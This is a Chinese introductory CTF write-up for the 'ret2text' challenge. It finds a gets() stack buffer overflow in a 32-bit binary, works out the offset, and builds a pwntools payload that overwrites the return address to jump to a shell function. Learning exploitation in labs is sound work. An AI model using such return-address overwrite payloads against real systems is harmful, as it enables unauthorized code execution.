pwn之栈缓冲区溢出漏洞(入门)

题目ret2text

题目信息确认

使用file命令查看文件类型

root@CTF:/home/# file ret2text  
ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=64894e1bcdc9d77d3d983e907eba2605dbf19103, with debug_info, not stripped

使用checksec查看是否有保护

root@CTF:/home/# checksec ret2text 
[*] '/home/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

使用ida查看内容

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  puts("Have you heard of buffer overflow?");
  vulnerable();
  puts("It seems that you know nothing about it ......");
  return 0;
}

setbuf(xxxx,0) 关闭缓冲区
进入vulnerable()查看

int vulnerable()
{
  char buffer[8]; // [esp+8h] [ebp-10h]

  gets(buffer);
  return 0;
}

创建了一个8个字节的缓存,但是gets函数允许向buffer输入无限的内容。造成缓冲区溢出漏洞
根据图

由ida中的注释 char buffer[8]; // [esp+8h] [ebp-10h] 可以知道 这个buffer距离esp8个字符,距离ebp -16个字符(10h是16进制的10)
而ebp永远指向 stack frame pointer 。那么就需要溢出16个字节

动态调试

使用动态调试工具确认溢出长度
gdb xxx 进入调试魔术xxx是指需要动态调试的文件
run 直接运行(一般在run之前使用断点)
b *地址 或者 b main
使用 next 进行断点前进。可以观察一步步的运行结果
使用 s 进入某个具体的函数
或者使用 stack 24 查看24项stack

payload制作

使用 from pwn import * 导入所有pwn需要的工具
使用 io=process("./ret2text") 打开进程访问链接
覆盖数据
[ebp-10h] 一共16个字符。
覆盖 return 4个字符
修改返回地址使用p32(0x8048522)
组成数据 payload=b'a'16+b'1'4+p32(0x8048522)
使用 io.send(payload) 发送payload
使用 io.interactive 创建交互式会话接口

posted @   李慢慢233  阅读(857)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
点击右上角即可分享
微信分享提示